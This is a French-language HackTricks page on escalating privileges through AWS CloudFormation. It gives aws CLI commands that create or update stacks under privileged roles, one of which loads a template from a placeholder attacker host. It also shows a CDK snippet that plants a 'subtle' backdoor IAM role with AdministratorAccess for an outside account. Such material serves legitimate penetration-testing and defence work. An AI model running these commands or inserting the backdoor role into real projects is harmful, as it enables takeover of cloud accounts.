AWS - Cloudformation Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

cloudformation

Pour plus d’informations sur cloudformation, consultez :

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un attaquant avec ces permissions peut escalader les privilĂšges en crĂ©ant une pile CloudFormation avec un modĂšle personnalisĂ©, hĂ©bergĂ© sur son serveur, pour exĂ©cuter des actions sous les permissions d’un rĂŽle spĂ©cifiĂ© :

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Dans la page suivante, vous avez un exemple d’exploitation avec la permission supplĂ©mentaire cloudformation:DescribeStacks :

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impact potentiel : Privesc au rÎle de service cloudformation spécifié.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Dans ce cas, vous pouvez abuser d’une stack cloudformation existante pour la mettre Ă  jour et escalader les privilĂšges comme dans le scĂ©nario prĂ©cĂ©dent :

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut ĂȘtre utilisĂ©e pour vous donner la permission UpdateStack sur une pile et effectuer l’attaque.

Impact potentiel : Privesc au rÎle de service cloudformation spécifié.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si vous avez cette permission mais pas iam:PassRole, vous pouvez toujours mettre Ă  jour les piles utilisĂ©es et abuser des rĂŽles IAM dĂ©jĂ  attachĂ©s. Consultez la section prĂ©cĂ©dente pour un exemple d’exploitation (il suffit de ne pas indiquer de rĂŽle dans la mise Ă  jour).

La permission cloudformation:SetStackPolicy peut ĂȘtre utilisĂ©e pour vous donner la permission UpdateStack sur une pile et effectuer l’attaque.

Impact potentiel : Privesc au rÎle de service cloudformation déjà attaché.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaquant ayant les permissions de passer un rÎle et de créer & exécuter un ChangeSet peut créer/mettre à jour une nouvelle pile cloudformation et abuser des rÎles de service cloudformation tout comme avec CreateStack ou UpdateStack.

L’exploitation suivante est une variation de CreateStack one utilisant les permissions ChangeSet pour crĂ©er une pile.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut ĂȘtre utilisĂ©e pour vous donner des permissions ChangeSet sur une pile et effectuer l’attaque.

Impact potentiel : Privesc vers les rĂŽles de service cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

C’est comme la mĂ©thode prĂ©cĂ©dente sans passer les rĂŽles IAM, donc vous pouvez simplement abuser de ceux dĂ©jĂ  attachĂ©s, il suffit de modifier le paramĂštre :

--change-set-type UPDATE

Impact potentiel : Privesc au rÎle de service cloudformation déjà attaché.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaquant pourrait abuser de ces permissions pour crĂ©er/mette Ă  jour des StackSets afin d’abuser des rĂŽles cloudformation arbitraires.

Impact potentiel : Privesc aux rĂŽles de service cloudformation.

cloudformation:UpdateStackSet

Un attaquant pourrait abuser de cette permission sans la permission passRole pour mettre Ă  jour des StackSets afin d’abuser des rĂŽles cloudformation attachĂ©s.

Impact potentiel : Privesc aux rÎles cloudformation attachés.

AWS CDK

Le AWS cdk est un ensemble d’outils permettant aux utilisateurs de dĂ©finir leur infrastructure en tant que code dans des langages qu’ils connaissent dĂ©jĂ , ainsi que de rĂ©utiliser facilement des sections. Le CDK convertit ensuite le code de haut niveau (c’est-Ă -dire python) en modĂšles Cloudformation (yaml ou json).

Pour utiliser le CDK, un utilisateur administratif doit d’abord initialiser le compte, ce qui crĂ©e plusieurs rĂŽles IAM, y compris le rĂŽle exec, qui a des permissions */*. Ces rĂŽles suivent la structure de nommage cdk-<qualifier>-<name>-<account-id>-<region>. L’initialisation doit ĂȘtre effectuĂ©e une fois par rĂ©gion et par compte.

Par dĂ©faut, les utilisateurs du CDK n’ont pas accĂšs Ă  la liste des rĂŽles nĂ©cessaires pour utiliser le CDK, ce qui signifie que vous devrez les dĂ©terminer manuellement. Si vous compromettez la machine d’un dĂ©veloppeur ou un nƓud CI/CD, ces rĂŽles peuvent ĂȘtre assumĂ©s pour vous accorder la capacitĂ© de dĂ©ployer des modĂšles CFN, en utilisant le rĂŽle cfn-exec pour permettre Ă  CFN de dĂ©ployer n’importe quelles ressources, compromettant complĂštement le compte.

Détermination des noms de rÎle

Si vous avez cloudformation:DescribeStacks, les rÎles sont définis dans une pile appelée CDKToolkit, et vous pouvez en extraire les noms.

Si vous ĂȘtes sur une machine qui a Ă©tĂ© utilisĂ©e pour construire et dĂ©ployer des projets CDK, vous pouvez les extraire de cdk.out/manafest.json dans le rĂ©pertoire racine des projets.

Vous pouvez Ă©galement faire une bonne supposition sur ce qu’ils sont. qualifier est une chaĂźne ajoutĂ©e aux rĂŽles permettant de dĂ©ployer plusieurs instances de l’initialisation CDK en mĂȘme temps, cependant la valeur par dĂ©faut est codĂ©e en dur Ă  hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Ajouter du code malveillant au code source du projet

Si vous pouvez Ă©crire dans le code source du projet, mais que vous ne pouvez pas le dĂ©ployer vous-mĂȘme (par exemple, le dĂ©veloppeur dĂ©ploie le code via CI/CD, pas depuis la machine locale), vous pouvez toujours compromettre l’environnement en ajoutant des ressources malveillantes Ă  la pile. Ce qui suit ajoute un rĂŽle IAM qui peut ĂȘtre assumĂ© par un compte attaquant Ă  un projet python CDK.

class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks